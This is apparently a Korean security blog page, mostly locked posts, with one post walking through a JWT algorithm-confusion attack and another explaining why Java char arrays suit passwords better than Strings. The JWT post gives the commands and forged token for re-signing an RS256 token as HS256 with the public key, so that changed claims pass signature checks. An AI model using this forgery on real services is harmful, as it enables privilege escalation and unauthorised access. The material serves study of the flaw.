[root-me] XML External Entity

2020. 3. 1. 23:53

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

JWT에서 signature 생성을 위한 알고리즘에는 대표적으로 RS256와 HS256가 있다. 이 때, RS256은 비대칭 알고리즘이므로 공개키와 개인키가 있는 반면, HS256은 대칭키이므로 하나의 키만을 사용하게 된다. 이에 따라, RS256 JWT 토큰을 HS256으로 변환시켜 권한 상승이 가능한 취약점이 존재한다.


아래부터는 RS256 JWT 토큰을 HS256으로 변환시키는 과정을 단계별로 상세히 작성해보겠다.


그 전에 참고용으로 RS256와 HS256에 대해 알아보도록 하자.

* RS256 : RSA Signature with SHA-256의 줄임말이다. 

* HS256 : HMAC SHA-256의 줄임말이며, 여기서 HMAC이란 keyed-hash message authentication code 혹은 hash-based message authentication code라고 표현할 수 있다.




Step 1. 제공받은 public key (key.pem)을 아래의 명령어를 통해 HEX로 변환해준다.

$ cat key.pem | xxd -p | tr -d "\\n"

2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a


 (1) /key를 통해 제공받은 public key를 key.pem으로 저장한다. 이 때 인증서 형식에 맞게 저장해야 한다.


(2) xxd는 주어진 파일을 16진수나 2진수 형태로 볼 수 있는 명령어로 -p 옵션을 통해 포맷이 없는 hexdump를 출력해준다.


(3) tr 명령어는 translate의 약어로, 지정한 문자를 바꾸어주거나 삭제하는 명령어다. -d 옵션을 통해 개행 문자를 제거해준다.


(4) 위의 명령어들을 통해 public key를 hexdump한 데이터가 개행문자 없이 출력된다.


Step 2. 이전에 수정한 토큰과 public key를 ASCII hex 형태로 바꾼 것을 통해 HMAC signature를 생성한다.

$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a


(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0


(1) username을 admin으로 변경한 토큰에서 signature를 제거한 것을 echo를 통해 다음 명령어의 입력으로 넣어주며 이 때 -n 옵션을 통해 개행문자는 제거해준다.


(2) openssl 명령어를 통해 제공받은 토큰을 암호화해줄 것이다. 이 때 dgst를 통해 SHA256 digest로 설정해주고, -mac 옵션을 통해 HMAC 알고리즘을 이용한 MAC(keyed Message Authentication Code)를 생성해 줄 것이며, -macopt 옵션을 이용하여 MAC key를 16진수로 된 키로 지정해준다. 여기서 지정해준 MAC key는 [Step 1]에서 나온 결과물을 입력해준다.


(3) 해당 결과물은 RSA의 공개키를 이용하여 HS256에서 사용할 비밀키를 생성해준 것이다.


Step 3. signature를 HEX에서 base64로 변환해준다.

$ python2 -c "exec(\"import base64, binascii\nprint
base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"


(1) binascii.a2b_hex 함수를 이용하여 Step2의 결과인 비밀키를 binary 형태의 16진수로 만들어주고 이것을 base64로 변환해준 뒤 signature로 만들어주기 위해 =를 제거해준다.


Step 4. 수정한 payload에 signature를 붙여준다.

[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA



참고

- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/74f2dfcccaec7786598a93733ecacadee35c6131/JSON%20Web%20Token

- https://www.it-swarm.asia/ko/jwt/rs256-%eb%8c%80-hs256-%ea%b7%b8-%ec%b0%a8%ec%9d%b4%ec%a0%90%ec%9d%80-%eb%ac%b4%ec%97%87%ec%9e%85%eb%8b%88%ea%b9%8c/826436771/

 - https://en.wikipedia.org/wiki/HMAC

반응형

'Hacking > Web' 카테고리의 다른 글

Study of XXE  (0) 2020.03.03
PHP wrapper  (0) 2020.03.02
open_basedir setting and bypass  (0) 2019.12.31
Sqlite Sql Injection Prevention  (0) 2019.12.30
HTTP 인증 우회  (0) 2019.12.16
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

String 객체는 JVM(Java Virtual Machine)에서 GC(Garbage Collection)이 이루어질 때까지 메모리 상에 그대로 남아있어, 앱에서 사용한 중요정보(주민등록번호, 비밀번호 등)를 String 객체에 저장할 경우 악의적인 사용자에게 노출될 가능성이 존재한다.


따라서, String 객체 상에 중요정보를 없애거나 제거해야하는데 이 때 2가지 방식을 생각해볼 수 있다.


1. NULL로 String 객체 초기화

 → String 객체를 가리키는 reference만 제거되는 것이므로 메모리 상에 String 객체의 데이터는 그대로 존재하게 된다.

( 출처 : https://mixup.tistory.com/10 )


2. String 객체 덮어쓰기

 → String 객체 변수에 또 다른 문자열을 Overwrite를 하고자 하지만 실제로는 새로운 메모리를 생성하여 해당 메모리를 가리키는 것이므로, 메모리 상에 중요정보는 그대로 존재하게 된다.

( 출처 : https://mixup.tistory.com/10 )



아래 상세한 예시들을 통해 더 자세히 알아보도록 하자.



예시 1) String 객체 Overwrite 시도

1
2
3
4
5
6
7
8
9
10
11
12
13
System.out.print("Original String password value: ");
System.out.println(stringPassword);
System.out.println("Original String password hashCode: "
  + Integer.toHexString(stringPassword.hashCode()));
 
String newString = "********";
stringPassword.replace(stringPassword, newString);
 
System.out.print("String password value after trying to replace it: ");
System.out.println(stringPassword);
System.out.println(
  "hashCode after trying to replace the original String: "
  + Integer.toHexString(stringPassword.hashCode()));
cs


예시 1 결과) String 객체의 결과 새로운 값으로 덮어씌워지지가 않는 것을 확인

Original String password value: password

Original String password hashCode: 4889ba9b

String value after trying to replace it: password

hashCode after trying to replace the original String: 4889ba9b


예시 2) char[] Array Overwrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char[] charPassword = new char[]{'p''a''s''s''w''o''r''d'};
 
System.out.print("Original char password value: ");
System.out.println(charPassword);
System.out.println(
  "Original char password hashCode: "
  + Integer.toHexString(charPassword.hashCode()));
 
Arrays.fill(charPassword, '*');
 
System.out.print("Changed char password value: ");
System.out.println(charPassword);
System.out.println(
  "Changed char password hashCode: "
  + Integer.toHexString(charPassword.hashCode()));
cs


예시 2 결과) Char Array의 경우 Overwrite가 가능함을 확인

Original char password value: password

Original char password hashCode: 7cc355be

Changed char password value: ********

Changed char password hashCode: 7cc355be


위의 테스트를 통해 String 객체는 덮어쓸 수 없지만, char[] 배열은 덮어쓸 수 있음을 확인할 수 있다.


이 뿐만 아니라, char[] 배열을 이용할 경우 콘솔, 모니터 등 보안적이지 않는 장소에서 예상하지 못한 패스워드 로깅에 대한 방지까지 된다는 장점이 있다.



예시 3) 패스워드 로깅 시도

1
2
3
4
String passwordString = "password";
char[] passwordArray = new char[]{'p''a''s''s''w''o''r''d'};
System.out.println("Printing String password -> " + passwordString);
System.out.println("Printing char[] password -> " + passwordArray);
cs


예시 3 결과) String 배열의 결과 콘솔에 그대로 출력되지만, char 배열의 결과 콘솔에 그대로 출력되지 않음을 확인

Printing String password -> password

Printing char[] password -> [C@6e8cf4c6 


<<참고>>


예시 3에서 System.out.println(passwordArray);를 할 경우엔 정상적으로 password라고 뜨지만 String과 합쳐서 사용될 때는 위와 같이 데이터가 그대로 출력되지 않는다.




https://www.baeldung.com/java-storing-passwords

https://mixup.tistory.com/10

http://egloos.zum.com/kwon37xi/v/4733673

https://stackoverflow.com/questions/8881291/why-is-char-preferred-over-string-for-passwords

반응형

'Hacking > Mobile' 카테고리의 다른 글

INSTALL_FAILED_OLDER_SDK  (0) 2020.03.05
IOS Pinning bypass  (0) 2020.03.04
apktool decompile error solution  (0) 2019.04.24
APK 무결성 확인  (0) 2019.04.20
Windows 환경에서 IOS device 로그 보기  (0) 2019.03.28
블로그 이미지

rootable

,

IOS 실행파일 decrypt

2020. 1. 23. 14:36

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

IPA File Install

2020. 1. 23. 14:33

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.